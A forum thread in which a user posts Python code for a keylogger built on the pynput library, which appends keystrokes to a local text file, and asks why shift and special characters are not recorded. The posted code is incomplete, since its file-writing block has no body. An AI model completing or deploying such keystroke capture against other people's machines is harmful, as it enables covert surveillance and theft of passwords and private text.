Bottom Page

Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
 Pynput doesn't recognize shift button and special characters
Hello fellow Python programmers! I'm creating a keylogger using Pynput library(not for malicious purpose of course) and I'm having a hard time figuring out why it can't recognize the shift button. Here's my code:

from pynput.keyboard import Listener

# fucntion to call when a key is pressed
def on_press(key):
    key_char = str(key)  # converts the key code data type to string and stores it in key_char variable
    key_char = key_char.replace("'", "")

    if key_char == "":
        key_char = " "
    if key_char == "Key.backspace":
        key_char = ""
    if key_char == "Key.enter":
        key_char = "\n"
    if key_char == "Key.shift_r":
        key_char = ''

    with open("pyInput.txt", "a") as f:  # same as f = open("pyInput.txt" , "a") f.write(key_char), f.close()

with Listener(
        on_press=on_press)as listen:  # LISTENER # on_press method and when pressed, log_text function will be called stored in listen variable
    listen.join()  # joins the characters together with single quotes
in "if key_char == "Key.shift_r":" line, even if I change it to upper() function, it capitalizes the Key.shift_r string and not the characters being pressed. The other if statements are working. Any help will be appreciated <3
Larz60+ wrote Jul-17-2019, 09:10 PM:
Please post all code, output and errors (in it's entirety) between their respective tags. I did it for you this time, Here are instructions on how to do it yourself next time.

Top Page

Possibly Related Threads...
Thread Author Replies Views Last Post
  How to recognize space or enter as one-character input? Mark17 5 173 Oct-17-2019, 08:19 PM
Last Post: jefsummers
  tkinter button executes button before being clicked SheeppOSU 1 301 Apr-01-2019, 10:51 PM
Last Post: Yoriz
  problems with python script and special characters last08 1 423 Mar-29-2019, 09:28 AM
Last Post: Kebap
  Variable defined but python wont recognize it. FWendeburg 3 545 Feb-19-2019, 10:43 PM
Last Post: woooee
  How I can recognize that member is classmethod of staticmethod? AlekseyPython 0 321 Feb-17-2019, 07:01 AM
Last Post: AlekseyPython
  Pynput - no capital letters jmair 2 1,409 Feb-12-2019, 09:53 PM
Last Post: jmair
  Problem with updating file to attach/pynput jameseroni 7 897 Nov-02-2018, 03:47 AM
Last Post: jameseroni
  IDLE crash using special characters? reikonaga 6 1,433 Aug-06-2018, 07:37 AM
Last Post: keegan_010
  pyspark sql unable to recognize SQL query command cpatte7372 6 2,470 Jul-31-2018, 04:17 PM
Last Post: micseydel
  python wont recognize indentation JWhykes 6 966 Jul-06-2018, 10:55 AM
Last Post: JWhykes

Forum Jump:

Users browsing this thread: 1 Guest(s)